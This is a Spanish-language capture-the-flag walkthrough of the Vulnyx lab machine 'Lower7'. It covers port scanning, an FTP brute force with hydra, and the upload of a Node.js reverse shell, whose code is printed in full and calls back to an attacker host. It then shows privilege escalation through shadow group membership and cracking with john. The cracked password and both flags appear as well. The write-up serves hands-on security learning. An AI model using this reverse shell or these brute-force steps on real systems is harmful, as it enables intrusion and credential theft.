Lower7, Vulnix
Herramientas y recursos
En este reto de vulnyx nos encontramos ante una maquina linux.
| Tecnicas | Herramientas |
|---|---|
| scan de puertos | nmap |
| Fuerza bruta | hydra |
| Revshell | node js |
| fuerza bruta | john |
Reconocimiento y enumeracion
Para empezar lanzamos un nmap para ver que puertos estan abierto y posteriormente otro nmap que compruebe las versiones de los servicios que dispone.
1
sudo nmap -p- --open --min-rate 5000 -sS -sV -Pn -n 192.168.18.40 -vvv
Como vemos disponemos de un servicio FTP en el 21 y un servidor http de Node.js en el 3000.
Despues de lanzar feroxbuster y tenerlo un ratito no encuentra nada prubeo a conectarme por FTP.
Como vemos en la imagen en el banner nos aparece un nombre de usuario por lo tanto vamos a realizar fuerza bruta con hydra dado que no nos permite conectarnos de forma anonima.
1
hydra -l a.clark -P /home/firstatack/Descargas/rockyou.txt ftp://192.168.18.40
Tenemos credenciales ahora vemos de subir una revshell teniendo en cuenta que es un server en node , por tanto .js Como pueden ver en la imagen de abajo probe algunas hasta dar con la correcta , pq algunas me tiraban este error **The module does not export a function. en la web pero en realidad se establecia la conexion, culpa mia de no fijarme en la terminal.
Infiltracion y escalada
Recibo conexion
Ni bien la recibo me aseguro como quien estoy y le aplico tratamiento a la tty
1
2
3
4
5
python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl + z
stty raw -echo; fg
reset
export TERM=xterm
Cuando ejecute id me di cuenta que estoy en el grupo shadow asi que vamos a leer el fichero y crackearlo con nuesro amigo john.
Despues de un ratito obtengo
Password bassman
cat user.txt 9f903b45d270a2d0b95c68b4f3aac03f
cat /root/root.txt 97b79229372dea359415afef3e350241
Hasta aqui esta maquina hacia tiempo que no usaba john y le triba con format yescrypt y no me andaba gracias por leer.
1
2
3
4
5
6
7
8
9
10
11
12
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1188, "192.168.18.14", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();








Comments powered by Disqus.